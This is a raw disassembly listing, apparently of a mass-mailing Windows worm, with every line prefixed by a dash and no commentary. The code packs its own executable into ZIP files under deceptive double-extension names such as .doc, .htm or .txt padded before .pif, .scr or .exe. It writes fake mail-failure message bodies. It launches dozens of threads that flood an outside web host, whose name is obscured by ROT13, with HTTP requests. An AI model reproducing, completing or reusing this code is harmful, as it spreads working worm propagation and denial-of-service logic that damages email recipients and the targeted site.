- call memset
- push 16h
- lea eax, [ebp+var_28]
- push esi
- push eax
- call memset
- lea eax, [ebp+var_3C]
- mov [ebp+Buffer], 4034B50h
- push eax
- lea eax, [ebp+var_3E]
- push eax
- mov [ebp+var_44], 0Ah
- mov [ebp+var_72], 0Ah
- mov [ebp+var_42], si
- mov [ebp+var_70], si
- mov [ebp+var_40], si
- mov [ebp+var_6E], si
- call sub_4A676D
- mov ax, [ebp+var_3E]
- push [ebp+hFile]
- mov [ebp+var_6C], ax
- mov ax, [ebp+var_3C]
- mov [ebp+var_6A], ax
- call sub_4A67F0
- mov ebx, ds:GetFileSize
- add esp, 30h
- mov [ebp+var_3A], eax
- mov [ebp+var_68], eax
- push esi ; lpFileSizeHigh
- push [ebp+hFile] ; hFile
- call ebx ; GetFileSize
- push esi ; lpFileSizeHigh
- mov [ebp+var_36], eax
- push [ebp+hFile] ; hFile
- mov [ebp+var_64], eax
- call ebx ; GetFileSize
- push [ebp+lpString] ; lpString
- mov ebx, ds:lstrlenA
- mov [ebp+var_32], eax
- mov [ebp+var_60], eax
- call ebx ; lstrlenA
- mov [ebp+var_2E], ax
- mov [ebp+var_5C], ax
- lea eax, [ebp+NumberOfBytesRead]
- push esi ; lpOverlapped
- push eax ; lpNumberOfBytesWritten
- lea eax, [ebp+Buffer]
- push 1Eh ; nNumberOfBytesToWrite
- push eax ; lpBuffer
- push edi ; hFile
- mov edi, ds:WriteFile
- mov [ebp+var_2C], si
- mov [ebp+var_5A], si
- mov [ebp+var_4E], esi
- call edi ; WriteFile
- lea eax, [ebp+NumberOfBytesRead]
- push esi ; lpOverlapped
- push eax ; lpNumberOfBytesWritten
- push [ebp+lpString] ; lpString
- call ebx ; lstrlenA
- push eax ; nNumberOfBytesToWrite
- push [ebp+lpString] ; lpBuffer
- push [ebp+hObject] ; hFile
- call edi ; WriteFile
- push [ebp+lpString] ; lpString
- call ebx ; lstrlenA
- push esi ; dwMoveMethod
- push esi ; lpDistanceToMoveHigh
- add eax, 1Eh
- push esi ; lDistanceToMove
- push [ebp+hFile] ; hFile
- mov [ebp+var_10], eax
- call ds:SetFilePointer
- jmp short loc_4A69D9
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A69BA: ; CODE XREF: sub_4A6864+194j
- cmp [ebp+NumberOfBytesRead], esi
- jz short loc_4A69FA
- lea eax, [ebp+NumberOfBytesWritten]
- push esi ; lpOverlapped
- push eax ; lpNumberOfBytesWritten
- lea eax, [ebp+var_47C]
- push [ebp+NumberOfBytesRead] ; nNumberOfBytesToWrite
- push eax ; lpBuffer
- push [ebp+hObject] ; hFile
- call edi ; WriteFile
- mov eax, [ebp+NumberOfBytesRead]
- add [ebp+var_10], eax
-
- loc_4A69D9: ; CODE XREF: sub_4A6864+154j
- lea eax, [ebp+NumberOfBytesRead]
- push esi ; lpOverlapped
- push eax ; lpNumberOfBytesRead
- lea eax, [ebp+var_47C]
- push 400h ; nNumberOfBytesToRead
- push eax ; lpBuffer
- push [ebp+hFile] ; hFile
- mov [ebp+NumberOfBytesRead], esi
- call ds:ReadFile
- test eax, eax
- jnz short loc_4A69BA
-
- loc_4A69FA: ; CODE XREF: sub_4A6864+159j
- mov eax, [ebp+var_10]
- push esi ; lpOverlapped
- mov [ebp+var_18], eax
- lea eax, [ebp+NumberOfBytesRead]
- push eax ; lpNumberOfBytesWritten
- lea eax, [ebp+var_78]
- push 2Eh ; nNumberOfBytesToWrite
- push eax ; lpBuffer
- push [ebp+hObject] ; hFile
- mov [ebp+var_78], 2014B50h
- mov [ebp+var_74], 14h
- mov [ebp+var_54], si
- mov [ebp+var_52], 20h
- call edi ; WriteFile
- lea eax, [ebp+NumberOfBytesRead]
- push esi ; lpOverlapped
- push eax ; lpNumberOfBytesWritten
- push [ebp+lpString] ; lpString
- call ebx ; lstrlenA
- push eax ; nNumberOfBytesToWrite
- push [ebp+lpString] ; lpBuffer
- push [ebp+hObject] ; hFile
- call edi ; WriteFile
- push [ebp+lpString] ; lpString
- call ebx ; lstrlenA
- mov ecx, [ebp+var_10]
- push esi ; lpOverlapped
- mov [ebp+var_28], 6054B50h
- mov [ebp+var_24], si
- lea eax, [ecx+eax+2Eh]
- mov [ebp+var_22], si
- sub eax, [ebp+var_18]
- mov [ebp+var_20], 1
- mov [ebp+var_1E], 1
- mov [ebp+var_14], si
- mov [ebp+var_1C], eax
- lea eax, [ebp+NumberOfBytesRead]
- push eax ; lpNumberOfBytesWritten
- lea eax, [ebp+var_28]
- push 16h ; nNumberOfBytesToWrite
- push eax ; lpBuffer
- push [ebp+hObject] ; hFile
- call edi ; WriteFile
- push [ebp+hObject] ; hObject
- call ds:CloseHandle
-
- loc_4A6A85: ; CODE XREF: sub_4A6864+231j
- push [ebp+hFile] ; hObject
- call ds:CloseHandle
- mov eax, esi
- jmp short loc_4A6A9A
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A6A92: ; CODE XREF: sub_4A6864+57j
- ; sub_4A6864+5Fj
- push 2
- pop esi
- jmp short loc_4A6A85
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A6A97: ; CODE XREF: sub_4A6864+30j
- ; sub_4A6864+38j
- xor eax, eax
- inc eax
-
- loc_4A6A9A: ; CODE XREF: sub_4A6864+22Cj
- pop edi
- pop esi
- pop ebx
- leave
- retn
- sub_4A6864 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A6A9F proc near ; CODE XREF: sub_4A6BB4+48p
-
- var_214 = dword ptr -214h
- var_210 = dword ptr -210h
- var_110 = dword ptr -110h
- var_10C = dword ptr -10Ch
- var_C = dword ptr -0Ch
- var_8 = dword ptr -8
- var_4 = dword ptr -4
- arg_0 = dword ptr 8
- arg_4 = dword ptr 0Ch
-
- push ebp
- mov ebp, esp
- sub esp, 214h
- push ebx
- xor ebx, ebx
- push esi
- push edi
- inc ebx
- push 6
- push ebx
- push 2
- call ds:WS2_32_23
- mov esi, eax
- test esi, esi
- jz loc_4A6BAD
- cmp esi, 0FFFFFFFFh
- jz loc_4A6BAD
- mov eax, [ebp+arg_4]
- mov ecx, 3E8h
- cdq
- idiv ecx
- and [ebp+var_8], 0
- mov [ebp+var_4], ebx
- mov [ebp+var_C], eax
- lea eax, [ebp+var_4]
- push eax
- push 8004667Eh
- push esi
- call ds:WS2_32_10
- mov edi, ds:WS2_32_4
- jmp short loc_4A6B11
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A6AF9: ; CODE XREF: sub_4A6A9F+80j
- call ds:WS2_32_111
- cmp eax, 2747h
- mov [ebp+var_4], eax
- jnz short loc_4A6B23
- push 32h ; dwMilliseconds
- call ds:Sleep
-
- loc_4A6B11: ; CODE XREF: sub_4A6A9F+58j
- push 10h
- push [ebp+arg_0]
- push esi
- call edi
- cmp eax, 0FFFFFFFFh
- mov [ebp+var_4], eax
- jz short loc_4A6AF9
- jmp short loc_4A6B8E
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A6B23: ; CODE XREF: sub_4A6A9F+68j
- cmp eax, 2733h
- jnz short loc_4A6BA6
- lea eax, [ebp+var_C]
- mov [ebp+var_210], esi
- push eax
- lea eax, [ebp+var_110]
- push eax
- lea eax, [ebp+var_214]
- push eax
- lea eax, [esi+1]
- push 0
- push eax
- mov [ebp+var_214], ebx
- mov [ebp+var_10C], esi
- mov [ebp+var_110], ebx
- call ds:WS2_32_18
- test eax, eax
- mov [ebp+var_4], eax
- jz short loc_4A6BA6
- cmp eax, 0FFFFFFFFh
- jz short loc_4A6BA6
- lea eax, [ebp+var_110]
- push eax
- push esi
- call WS2_32_151
- test eax, eax
- jnz short loc_4A6BA6
- lea eax, [ebp+var_214]
- push eax
- push esi
- call WS2_32_151
- test eax, eax
- jz short loc_4A6BA6
-
- loc_4A6B8E: ; CODE XREF: sub_4A6A9F+82j
- and [ebp+var_4], 0
- lea eax, [ebp+var_4]
- push eax
- push 8004667Eh
- push esi
- call ds:WS2_32_10
- mov eax, esi
- jmp short loc_4A6BAF
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A6BA6: ; CODE XREF: sub_4A6A9F+89j
- ; sub_4A6A9F+C6j ...
- push esi
- call ds:WS2_32_3
-
- loc_4A6BAD: ; CODE XREF: sub_4A6A9F+1Ej
- ; sub_4A6A9F+27j
- xor eax, eax
-
- loc_4A6BAF: ; CODE XREF: sub_4A6A9F+105j
- pop edi
- pop esi
- pop ebx
- leave
- retn
- sub_4A6A9F endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A6BB4 proc near ; CODE XREF: sub_4A6C3B+99p
- ; DATA XREF: sub_4A6C3B+85o
-
- String = byte ptr -210h
- var_10 = byte ptr -10h
- dwExitCode = dword ptr 8
-
- push ebp
- mov ebp, esp
- sub esp, 210h
- push esi
- push edi
- lea eax, [ebp+String]
- push offset aTrgUggc1_1Ubfg ; "TRG / UGGC/1.1\r\nUbfg: jjj.fpb.pbz\r\n\r\n"
- push eax
- call sub_4A465E
- pop ecx
- pop ecx
- push 0FFFFFFFFh ; nPriority
- call ds:GetCurrentThread
- push eax ; hThread
- call ds:SetThreadPriority
- mov esi, [ebp+dwExitCode]
- test esi, esi
- jnz short loc_4A6BEF
- push esi ; dwExitCode
- call ds:ExitThread
-
- loc_4A6BEF: ; CODE XREF: sub_4A6BB4+32j
- lea edi, [ebp+var_10]
- movsd
- movsd
- movsd
- movsd
-
- loc_4A6BF6: ; CODE XREF: sub_4A6BB4+53j
- ; sub_4A6BB4+85j
- lea eax, [ebp+var_10]
- push 8
- push eax
- call sub_4A6A9F
- mov esi, eax
- pop ecx
- test esi, esi
- pop ecx
- jz short loc_4A6BF6
- lea eax, [ebp+String]
- push 0
- push eax ; lpString
- call ds:lstrlenA
- push eax
- lea eax, [ebp+String]
- push eax
- push esi
- call ds:WS2_32_19
- push 12Ch ; dwMilliseconds
- call ds:Sleep
- push esi
- call ds:WS2_32_3
- jmp short loc_4A6BF6
- sub_4A6BB4 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A6C3B proc near ; CODE XREF: sub_4A3DB0+33p
-
- var_94 = byte ptr -94h
- ThreadId = dword ptr -14h
- Parameter = word ptr -10h
- var_E = word ptr -0Eh
- var_C = dword ptr -0Ch
-
- push ebp
- mov ebp, esp
- sub esp, 94h
- push ebx
- push esi
- push edi
- lea eax, [ebp+var_94]
- push offset aJjj_fpb_pbz ; "jjj.fpb.pbz"
- push eax
- call sub_4A465E
- mov edi, ds:Sleep
- pop ecx
- pop ecx
- mov ebx, 8000h
- jmp short loc_4A6C6A
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A6C67: ; CODE XREF: sub_4A6C3B+36j
- ; sub_4A6C3B+49j
- push ebx ; dwMilliseconds
- call edi ; Sleep
-
- loc_4A6C6A: ; CODE XREF: sub_4A6C3B+2Aj
- call sub_4A4681
- test eax, eax
- jz short loc_4A6C67
- lea eax, [ebp+var_94]
- push eax
- call ds:WS2_32_52
- mov esi, eax
- test esi, esi
- jz short loc_4A6C67
- push 10h
- lea eax, [ebp+Parameter]
- push 0
- push eax
- call memset
- mov [ebp+Parameter], 2
- mov eax, [esi+0Ch]
- add esp, 0Ch
- mov eax, [eax]
- push 50h
- mov eax, [eax]
- mov [ebp+var_C], eax
- call ds:WS2_32_9
- push 3Fh
- mov [ebp+var_E], ax
- pop esi
-
- loc_4A6CB5: ; CODE XREF: sub_4A6C3B+93j
- lea eax, [ebp+ThreadId]
- lea ecx, [ebp+Parameter]
- push eax ; lpThreadId
- xor eax, eax
- push eax ; dwCreationFlags
- push ecx ; lpParameter
- push offset sub_4A6BB4 ; lpStartAddress
- push eax ; dwStackSize
- push eax ; lpThreadAttributes
- call ds:CreateThread
- dec esi
- jnz short loc_4A6CB5
- lea eax, [ebp+Parameter]
- push eax
- call sub_4A6BB4
- pop edi
- pop esi
- pop ebx
- leave
- retn
- sub_4A6C3B endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
-
- sub_4A6CDE proc near ; CODE XREF: sub_4A76D2+47p
-
- arg_0 = dword ptr 8
-
- push ebx
- mov ebx, [esp+arg_0]
- add ebx, 4
- push esi
- and byte ptr [ebx], 0
- call sub_4A4221
- movzx eax, ax
- push 64h
- cdq
- pop ecx
- idiv ecx
- cmp edx, 62h
- jge short loc_4A6D44
- mov eax, ds:dword_4A83CC
- xor esi, esi
- test eax, eax
- jz short loc_4A6D44
-
- loc_4A6D08: ; CODE XREF: sub_4A6CDE+2Fj
- mov eax, [eax]
- inc esi
- test eax, eax
- jnz short loc_4A6D08
- cmp esi, 3
- jle short loc_4A6D44
- call sub_4A4239
- xor edx, edx
- xor ecx, ecx
- div esi
- mov eax, ds:dword_4A83CC
- test eax, eax
- jz short loc_4A6D44
-
- loc_4A6D28: ; CODE XREF: sub_4A6CDE+53j
- cmp ecx, edx
- jz short loc_4A6D33
- mov eax, [eax]
- inc ecx
- test eax, eax
- jnz short loc_4A6D28
-
- loc_4A6D33: ; CODE XREF: sub_4A6CDE+4Cj
- test eax, eax
- jz short loc_4A6D44
- add eax, 0Ah
- push eax ; lpString2
- push ebx ; lpString1
- call ds:lstrcpyA
- jmp short loc_4A6D9C
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A6D44: ; CODE XREF: sub_4A6CDE+1Dj
- ; sub_4A6CDE+28j ...
- push edi
- call sub_4A4221
- movzx eax, ax
- push 3
- xor edi, edi
- cdq
- pop ecx
- idiv ecx
- mov esi, edx
- add esi, ecx
- test esi, esi
- jle short loc_4A6D76
-
- loc_4A6D5D: ; CODE XREF: sub_4A6CDE+96j
- call sub_4A4221
- movzx eax, ax
- push 1Ah
- cdq
- pop ecx
- idiv ecx
- add dl, 61h
- mov [ebx+edi], dl
- inc edi
- cmp edi, esi
- jl short loc_4A6D5D
-
- loc_4A6D76: ; CODE XREF: sub_4A6CDE+7Dj
- mov eax, [esp+8+arg_0]
- lea esi, [edi+eax]
- mov byte ptr [esi+4], 40h
- call sub_4A4221
- and eax, 3
- add esi, 5
- push ds:dword_4A13EC[eax*4]
- push esi
- call sub_4A465E
- pop ecx
- pop ecx
- pop edi
-
- loc_4A6D9C: ; CODE XREF: sub_4A6CDE+64j
- pop esi
- pop ebx
- retn
- sub_4A6CDE endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
-
- sub_4A6D9F proc near ; CODE XREF: sub_4A76D2+55p
- push ebx
- push esi
- mov ebx, eax
- call sub_4A4221
- movzx eax, ax
- push 64h
- cdq
- pop ecx
- idiv ecx
- cmp edx, 8
- jge short loc_4A6DF8
- push edi
- call sub_4A4221
- movzx eax, ax
- push 5
- xor esi, esi
- cdq
- pop ecx
- idiv ecx
- mov edi, edx
- add edi, 3
- test edi, edi
- jle short loc_4A6DED
-
- loc_4A6DD0: ; CODE XREF: sub_4A6D9F+4Cj
- call sub_4A4221
- movzx eax, ax
- push 1Ah
- cdq
- pop ecx
- idiv ecx
- add dl, 61h
- mov [ebx+esi+184h], dl
- inc esi
- cmp esi, edi
- jl short loc_4A6DD0
-
- loc_4A6DED: ; CODE XREF: sub_4A6D9F+2Fj
- and byte ptr [esi+ebx+184h], 0
- pop edi
- jmp short loc_4A6E58
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A6DF8: ; CODE XREF: sub_4A6D9F+15j
- xor esi, esi
- mov al, 1Eh
- inc esi
- mov ecx, offset byte_4A32A8
-
- loc_4A6E02: ; CODE XREF: sub_4A6D9F+6Fj
- movsx eax, al
- add ecx, 8
- add esi, eax
- mov al, [ecx]
- test al, al
- jnz short loc_4A6E02
- call sub_4A4221
- movzx eax, ax
- cdq
- idiv esi
- xor esi, esi
- xor eax, eax
- inc esi
- mov cl, 1Eh
-
- loc_4A6E22: ; CODE XREF: sub_4A6D9F+96j
- movsx ecx, cl
- add esi, ecx
- cmp esi, edx
- jge short loc_4A6E37
- mov cl, ds:byte_4A32B0[eax*8]
- inc eax
- test cl, cl
- jnz short loc_4A6E22
-
- loc_4A6E37: ; CODE XREF: sub_4A6D9F+8Aj
- cmp ds:byte_4A32A8[eax*8], 0
- jnz short loc_4A6E43
- xor eax, eax
-
- loc_4A6E43: ; CODE XREF: sub_4A6D9F+A0j
- push ds:dword_4A32AC[eax*8]
- lea eax, [ebx+184h]
- push eax
- call sub_4A465E
- pop ecx
- pop ecx
-
- loc_4A6E58: ; CODE XREF: sub_4A6D9F+57j
- xor esi, esi
- mov al, 32h
- inc esi
- mov ecx, offset byte_4A32F8
-
- loc_4A6E62: ; CODE XREF: sub_4A6D9F+CFj
- movsx eax, al
- add ecx, 8
- add esi, eax
- mov al, [ecx]
- test al, al
- jnz short loc_4A6E62
- call sub_4A4221
- movzx eax, ax
- cdq
- idiv esi
- xor esi, esi
- xor eax, eax
- inc esi
- mov cl, 32h
-
- loc_4A6E82: ; CODE XREF: sub_4A6D9F+F6j
- movsx ecx, cl
- add esi, ecx
- cmp esi, edx
- jge short loc_4A6E97
- mov cl, ds:byte_4A3300[eax*8]
- inc eax
- test cl, cl
- jnz short loc_4A6E82
-
- loc_4A6E97: ; CODE XREF: sub_4A6D9F+EAj
- cmp ds:byte_4A32F8[eax*8], 0
- jnz short loc_4A6EA3
- xor eax, eax
-
- loc_4A6EA3: ; CODE XREF: sub_4A6D9F+100j
- push ds:dword_4A32FC[eax*8]
- lea esi, [ebx+1A4h]
- push esi
- call sub_4A465E
- lea eax, [ebx+184h]
- push esi
- push eax
- add ebx, 1B7h
- push offset aS_S ; "%s.%s"
- push ebx
- call ds:wsprintfA
- add esp, 18h
- pop esi
- pop ebx
- retn
- sub_4A6D9F endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
-
- sub_4A6ED6 proc near ; CODE XREF: sub_4A76D2+60p
- push ebx
- push esi
- mov ebx, eax
- call sub_4A4221
- movzx eax, ax
- push 64h
- cdq
- pop ecx
- idiv ecx
- cmp edx, 5
- jge short loc_4A6F2F
- push edi
- call sub_4A4221
- movzx eax, ax
- push 0Fh
- xor esi, esi
- cdq
- pop ecx
- idiv ecx
- mov edi, edx
- add edi, 3
- test edi, edi
- jle short loc_4A6F24
-
- loc_4A6F07: ; CODE XREF: sub_4A6ED6+4Cj
- call sub_4A4221
- movzx eax, ax
- push 1Ah
- cdq
- pop ecx
- idiv ecx
- add dl, 61h
- mov [ebx+esi+104h], dl
- inc esi
- cmp esi, edi
- jl short loc_4A6F07
-
- loc_4A6F24: ; CODE XREF: sub_4A6ED6+2Fj
- and byte ptr [esi+ebx+104h], 0
- pop edi
- jmp short loc_4A6F8F
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A6F2F: ; CODE XREF: sub_4A6ED6+15j
- xor esi, esi
- mov al, 0Ch
- inc esi
- mov ecx, offset byte_4A3328
-
- loc_4A6F39: ; CODE XREF: sub_4A6ED6+6Fj
- movsx eax, al
- add ecx, 8
- add esi, eax
- mov al, [ecx]
- test al, al
- jnz short loc_4A6F39
- call sub_4A4221
- movzx eax, ax
- cdq
- idiv esi
- xor esi, esi
- xor eax, eax
- inc esi
- mov cl, 0Ch
-
- loc_4A6F59: ; CODE XREF: sub_4A6ED6+96j
- movsx ecx, cl
- add esi, ecx
- cmp esi, edx
- jge short loc_4A6F6E
- mov cl, ds:byte_4A3330[eax*8]
- inc eax
- test cl, cl
- jnz short loc_4A6F59
-
- loc_4A6F6E: ; CODE XREF: sub_4A6ED6+8Aj
- cmp ds:byte_4A3328[eax*8], 0
- jnz short loc_4A6F7A
- xor eax, eax
-
- loc_4A6F7A: ; CODE XREF: sub_4A6ED6+A0j
- push ds:dword_4A332C[eax*8]
- lea eax, [ebx+104h]
- push eax
- call sub_4A465E
- pop ecx
- pop ecx
-
- loc_4A6F8F: ; CODE XREF: sub_4A6ED6+57j
- call sub_4A4221
- movzx eax, ax
- push 64h
- cdq
- pop ecx
- idiv ecx
- cmp edx, 32h
- jl short loc_4A6FB8
- cmp edx, 55h
- jge short loc_4A6FBD
- add ebx, 104h
- push 1 ; cchLength
- push ebx ; lpsz
- call ds:CharUpperBuffA
- jmp short loc_4A6FCA
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A6FB8: ; CODE XREF: sub_4A6ED6+CAj
- cmp edx, 55h
- jl short loc_4A6FCA
-
- loc_4A6FBD: ; CODE XREF: sub_4A6ED6+CFj
- add ebx, 104h
- push ebx ; lpsz
- call ds:CharUpperA
-
- loc_4A6FCA: ; CODE XREF: sub_4A6ED6+E0j
- ; sub_4A6ED6+E5j
- pop esi
- pop ebx
- retn
- sub_4A6ED6 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A6FCD proc near ; CODE XREF: sub_4A76D2+6Bp
-
- Filename = byte ptr -30Ch
- String1 = byte ptr -208h
- hObject = dword ptr -8
- lpFileName = dword ptr -4
-
- push ebp
- mov ebp, esp
- sub esp, 30Ch
- push ebx
- xor ebx, ebx
- push edi
- mov [esi+1B4h], bl
- mov [esi+1B5h], bl
- call sub_4A4221
- movzx eax, ax
- push 64h
- cdq
- pop ecx
- idiv ecx
- cmp edx, 40h
- jge short loc_4A7000
- mov byte ptr [esi+1B4h], 1
-
- loc_4A7000: ; CODE XREF: sub_4A6FCD+2Aj
- cmp [esi+1B4h], bl
- jnz short loc_4A7029
- lea eax, [esi+2B7h]
- push 104h ; nSize
- push eax ; lpFilename
- push ebx ; hModule
- mov [esi+1B6h], bl
- mov [ebp+lpFileName], eax
- call ds:GetModuleFileNameA
- jmp loc_4A70F7
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A7029: ; CODE XREF: sub_4A6FCD+39j
- lea eax, [ebp+Filename]
- mov edi, 104h
- push eax ; lpBuffer
- push edi ; nBufferLength
- mov byte ptr [esi+1B6h], 1
- mov [ebp+Filename], bl
- call ds:GetTempPathA
- cmp [ebp+Filename], bl
- jz loc_4A724E
- lea eax, [esi+2B7h]
- mov [ebp+lpFileName], eax
- push eax ; lpTempFileName
- mov [eax], bl
- push ebx ; uUnique
- lea eax, [ebp+Filename]
- push offset PrefixString ; lpPrefixString
- push eax ; lpPathName
- call ds:GetTempFileNameA
- mov eax, [ebp+lpFileName]
- cmp [eax], bl
- jz loc_4A724E
- lea eax, [ebp+Filename]
- push edi ; nSize
- push eax ; lpFilename
- push ebx ; hModule
- call ds:GetModuleFileNameA
- mov [esi+1B5h], bl
- call sub_4A4221
- movzx eax, ax
- push 64h
- cdq
- pop ecx
- idiv ecx
- cmp edx, 28h
- jge short loc_4A70AE
- mov byte ptr [esi+1B5h], 1
-
- loc_4A70AE: ; CODE XREF: sub_4A6FCD+D8j
- cmp [esi+1B5h], bl
- jnz loc_4A715E
- lea eax, [esi+1B7h]
-
- loc_4A70C0: ; CODE XREF: sub_4A6FCD+26Bj
- push eax
- lea eax, [ebp+Filename]
- push [ebp+lpFileName]
- push eax
- call sub_4A6864
- add esp, 0Ch
- test eax, eax
- jnz loc_4A724E
- lea eax, [esi+184h]
- push eax
- lea eax, [esi+1B7h]
- push offset aS_zip ; "%s.zip"
- push eax
- call ds:wsprintfA
- add esp, 0Ch
-
- loc_4A70F7: ; CODE XREF: sub_4A6FCD+57j
- push ebx ; hTemplateFile
- push 80h ; dwFlagsAndAttributes
- push 3 ; dwCreationDisposition
- push ebx ; lpSecurityAttributes
- push 3 ; dwShareMode
- push 80000000h ; dwDesiredAccess
- push [ebp+lpFileName] ; lpFileName
- call ds:CreateFileA
- cmp eax, ebx
- mov [ebp+hObject], eax
- jz loc_4A723D
- cmp eax, 0FFFFFFFFh
- jz loc_4A723D
- push ebx ; lpFileSizeHigh
- push eax ; hFile
- lea edi, [esi+3BCh]
- call ds:GetFileSize
- push [ebp+hObject] ; hObject
- mov [edi], eax
- call ds:CloseHandle
- mov edi, [edi]
- cmp edi, 400h
- jl loc_4A723D
- cmp edi, 4B000h
- jg loc_4A723D
- xor eax, eax
- jmp loc_4A7251
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A715E: ; CODE XREF: sub_4A6FCD+E7j
- lea eax, [esi+184h]
- push eax ; lpString2
- lea eax, [ebp+String1]
- push eax ; lpString1
- call ds:lstrcpyA
- mov edi, ds:lstrcatA
- lea eax, [ebp+String1]
- push offset a__1 ; lpString2
- push eax ; lpString1
- call edi ; lstrcatA
- call sub_4A4221
- movzx eax, ax
- push 5
- cdq
- pop ecx
- idiv ecx
- cmp edx, ebx
- jz short loc_4A71AD
- jle short loc_4A71A6
- cmp edx, 2
- jg short loc_4A71A6
- push offset aHtm ; "htm"
- jmp short loc_4A71B2
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A71A6: ; CODE XREF: sub_4A6FCD+1CBj
- ; sub_4A6FCD+1D0j
- push offset aTxt ; "txt"
- jmp short loc_4A71B2
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A71AD: ; CODE XREF: sub_4A6FCD+1C9j
- push offset aDoc ; lpString2
-
- loc_4A71B2: ; CODE XREF: sub_4A6FCD+1D7j
- ; sub_4A6FCD+1DEj
- lea eax, [ebp+String1]
- push eax ; lpString1
- call edi ; lstrcatA
- mov [ebp+hObject], 46h
-
- loc_4A71C2: ; CODE XREF: sub_4A6FCD+206j
- lea eax, [ebp+String1]
- push offset dword_4A2DB8 ; lpString2
- push eax ; lpString1
- call edi ; lstrcatA
- dec [ebp+hObject]
- jnz short loc_4A71C2
- lea eax, [ebp+String1]
- push offset a__1 ; lpString2
- push eax ; lpString1
- call edi ; lstrcatA
- call sub_4A4221
- movzx eax, ax
- push 3
- cdq
- pop ecx
- idiv ecx
- lea eax, [ebp+String1]
- sub edx, ebx
- jz short loc_4A721C
- dec edx
- jz short loc_4A720D
- push offset aP ; lpString2
- push eax ; lpString1
- call edi ; lstrcatA
- push offset aIf ; "if"
- jmp short loc_4A7229
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A720D: ; CODE XREF: sub_4A6FCD+22Fj
- push offset aS_0 ; lpString2
- push eax ; lpString1
- call edi ; lstrcatA
- push offset aCr ; "cr"
- jmp short loc_4A7229
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A721C: ; CODE XREF: sub_4A6FCD+22Cj
- push offset aE ; lpString2
- push eax ; lpString1
- call edi ; lstrcatA
- push offset aXe ; lpString2
-
- loc_4A7229: ; CODE XREF: sub_4A6FCD+23Ej
- ; sub_4A6FCD+24Dj
- lea eax, [ebp+String1]
- push eax ; lpString1
- call edi ; lstrcatA
- lea eax, [ebp+String1]
- jmp loc_4A70C0
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A723D: ; CODE XREF: sub_4A6FCD+148j
- ; sub_4A6FCD+151j ...
- cmp [esi+1B6h], bl
- jz short loc_4A724E
- push [ebp+lpFileName] ; lpFileName
- call ds:DeleteFileA
-
- loc_4A724E: ; CODE XREF: sub_4A6FCD+82j
- ; sub_4A6FCD+ACj ...
- xor eax, eax
- inc eax
-
- loc_4A7251: ; CODE XREF: sub_4A6FCD+18Cj
- pop edi
- pop ebx
- leave
- retn
- sub_4A6FCD endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A7255 proc near ; CODE XREF: sub_4A75FD+5Dp
-
- var_30 = dword ptr -30h
- lpString2 = dword ptr -2Ch
- var_28 = dword ptr -28h
- var_24 = dword ptr -24h
- var_20 = dword ptr -20h
- var_1C = dword ptr -1Ch
- var_18 = dword ptr -18h
- var_14 = dword ptr -14h
- var_10 = dword ptr -10h
- var_C = dword ptr -0Ch
- var_8 = dword ptr -8
- var_4 = dword ptr -4
-
- push ebp
- mov ebp, esp
- sub esp, 30h
- push esi
- push edi
- push 14h
- and [ebp+var_8], 0
- pop esi
- mov eax, offset dword_4A33E8
- push 28h
- mov [ebp+var_30], esi
- pop ecx
- mov [ebp+lpString2], eax
- mov [ebp+var_28], 5
- mov [ebp+var_24], offset aTest ; "test"
- mov [ebp+var_20], ecx
- mov [ebp+var_1C], offset aTheMessageCann ; "The message cannot be represented in 7-"...
- mov [ebp+var_18], ecx
- mov [ebp+var_14], offset aTheMessageCont ; "The message contains Unicode characters"...
- mov [ebp+var_10], esi
- mov [ebp+var_C], offset aMailTransactio ; "Mail transaction failed. Partial messag"...
- mov [ebp+var_4], eax
- call sub_4A4221
- movzx eax, ax
- push 64h
- cdq
- pop ecx
- idiv ecx
- cmp edx, esi
- jge short loc_4A731C
- call sub_4A4221
- movzx eax, ax
- cdq
- mov ecx, 800h
- xor esi, esi
- idiv ecx
- mov edi, edx
- add edi, 200h
- test edi, edi
- jle short loc_4A7316
-
- loc_4A72D1: ; CODE XREF: sub_4A7255+BFj
- call sub_4A4221
- cmp al, 20h
- jb short loc_4A7312
- cmp al, 3Dh
- jz short loc_4A7312
- cmp al, 2Bh
- jz short loc_4A7312
- cmp al, 0FFh
- jz short loc_4A7312
- cmp al, 7Fh
- jz short loc_4A7312
- cmp al, 80h
- jz short loc_4A7312
- cmp al, 40h
- jz short loc_4A7312
- mov [esi+ebx], al
- inc esi
- call sub_4A4221
- movzx eax, ax
- push 46h
- cdq
- pop ecx
- idiv ecx
- test edx, edx
- jnz short loc_4A7312
- mov byte ptr [esi+ebx], 0Dh
- inc esi
- mov byte ptr [esi+ebx], 0Ah
- inc esi
-
- loc_4A7312: ; CODE XREF: sub_4A7255+83j
- ; sub_4A7255+87j ...
- cmp esi, edi
- jl short loc_4A72D1
-
